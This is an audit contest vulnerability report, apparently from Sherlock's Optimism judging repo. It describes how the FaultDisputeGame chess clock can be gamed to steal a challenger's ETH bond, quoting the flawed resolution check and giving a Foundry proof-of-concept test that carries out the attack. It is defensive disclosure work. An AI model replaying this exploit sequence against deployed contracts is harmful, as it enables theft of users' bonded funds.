Chess Clock can be gamed, leading to theft of ETH bonds

Summary

A user is able to defend any claim by gaming the chess clock mechanism. For the scope of this submission, this results in a user being able to steal the ETH bond of any attack, even if it is valid.

Vulnerability Detail

Assume the following simple claim tree:

           A
         B 
       C

Alice is the defender who has created the game and submitted the root claim, A. Bob is the challenger who correctly demonstrates that the root claim is invalid, B. Alice attacks B with C.

Because of how the game clock mechanism works, Alice can ALWAYS win this scenario and steal Bob's bond from B.

For simplicity, imagine Bob submits his valid claim immediately after the game starts. Alice now has GAME_DURATION / 2 seconds to make her move. Assume GAME_DURATION = 7 days.

Alice waits exactly 3 days 12 hours and attacks Bob's claim B with claim C. 1 second later, she can now immediately resolve claim C to receive her bond back, resolve claim B which she challenged and will resolve in her favor, and resolve the root claim in her favor.

In all instances, the attacker will want to wait until the last second of the chess clock and then attack, at which time they can resolve immediately.

This vulnerability arises because the chess clock doesn't check each side's (defender/challenger) clock correctly upon resolution. During each move, the clock accurately assesses if the party has time on their clock by adding the grandfather move duration and the difference between block.timestamp and the parent duration. In simple terms, how much time has the current side that is calling move used from their clock?

However, during resolution, the parent claim's clock timestamp is simply checked against block.timestamp which doesn't accurately assess how much time the other party actually used up. It simply checks that 3 days 12 hours has passed since that move.

        ClaimData storage parent = claimData[_claimIndex];

        // INVARIANT: Cannot resolve a subgame unless the clock of its root has expired
        uint64 parentClockDuration = parent.clock.duration().raw();
        uint64 timeSinceParentMove = uint64(block.timestamp) - parent.clock.timestamp().raw();
        if (parentClockDuration + timeSinceParentMove <= GAME_DURATION.raw() >> 1) {
            revert ClockNotExpired();
        }

Impact

Theft of ETH Bonds due to gaming of challenge system
Ability to resolve all root claims in defender's favor

Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L409-L416

Tool used

Manual Review

Recommendation

The chess clock needs to check that the party of the claim to be resolved has used their time, otherwise any opposing party can wait out the duration while it is their turn, submit a move at the last moment, and then resolve the parent claim.

Scope validity

The contest handbook states:

However, please note that the game resolution logic within the FaultDisputeGame is not in scope for this contest. We have chosen to have these components reviewed separately given the complexity of the game resolution logic and its dependencies (including MIPS.sol and others). Although reports about incorrect resolution are appreciated, they will not be considered valid reports for this contest. Participants should assume that the games can resolve incorrectly and should confirm that key invariants hold nonetheless.

Top-Level Invariants

Invariants listed below are the critical, high-level goals that should be satisfied by the contracts that are in scope of this contest. Always keep these invariants in mind.

`FaultDisputeGame`

Participants must be able to withdraw a credit denominated in ETH exactly equal to but not greater than the credit amount that would be distributed to that user by a fully correct resolution of the FaultDisputeGame.

This submission does not describe incorrect game resolution. Instead it demonstrates how the key invariant that users are not able to withdraw the correct amount of ETH is broken. This is in-scope based on the last line of the Scope section: "Participants should assume that the games can resolve incorrectly and should confirm that key invariants hold nonetheless."

POC

This POC demonstrates:

Bob attacks root claim immediately
Alice waits for 3 days 12 seconds and attacks Bob's claim
Alice waits 1 second and then resolves all claims in her favor
Alice withdraws all of bond value

function test_waitUntilLastMinute_succeeds() public {
    address alice = address(0xa11ce);
    address bob = address(0xb0b);
    vm.deal(alice, 100 ether);
    vm.deal(bob, 100 ether);

    // @audit bob attacks root claim
    vm.prank(bob);
    uint256 totalBonds;
    totalBonds += _getRequiredBond(0);
    gameProxy.attack{value: _getRequiredBond(0)}(0, _dummyClaim());

    // @audit Alice strategically waits exactly 3 days + 12 hours before defending
    vm.startPrank(alice);
    vm.warp(block.timestamp + 3 days + 12 hours);
    totalBonds += _getRequiredBond(1);
    gameProxy.defend{value: _getRequiredBond(1)}(1, _dummyClaim());
    (, , , , , , Clock clock) = gameProxy.claimData(2);
    assertEq(
      clock.raw(),
      LibClock
        .wrap(
          Duration.wrap(3 days + 12 hours),
          Timestamp.wrap(uint64(block.timestamp))
        )
        .raw()
    );

    // @audit Alice immediately sends a follow-up transaction to resolve the claims only 1 second later
    vm.warp(block.timestamp + 1 seconds);
    gameProxy.resolveClaim(2);
    gameProxy.resolveClaim(1);
    vm.stopPrank();

    // @audit Resolve the root claim (unnecessary step for this POC but helps to show how Alice has won)
    gameProxy.resolveClaim(0);
    assertEq(uint8(gameProxy.resolve()), uint8(GameStatus.DEFENDER_WINS));

    // Wait for the withdrawal delay.
    vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);

    uint256 aliceStartingBalance = alice.balance;
    vm.prank(alice);
    gameProxy.claimCredit(alice);
    uint256 aliceEndingBalance = alice.balance;

    // Ensure that bonds were paid out correctly.
    // @audit - Alice holds all the bond value in ETH.
    assertEq(aliceEndingBalance - aliceStartingBalance, totalBonds);
    assertEq(address(gameProxy).balance, 0);
    assertEq(delayedWeth.balanceOf(address(gameProxy)), 0);

    // @audit Alice also wins the entire game, but not worried about that for this contest. This POC shows how actors can game the system to steal WETH
    // ...simply by waiting the entire duration of their own turn.
  }

Duplicate of #144

sherlock-audit / 2024-02-optimism-2024-judging

0xDjango - Chess Clock can be gamed, leading to theft of ETH bonds #208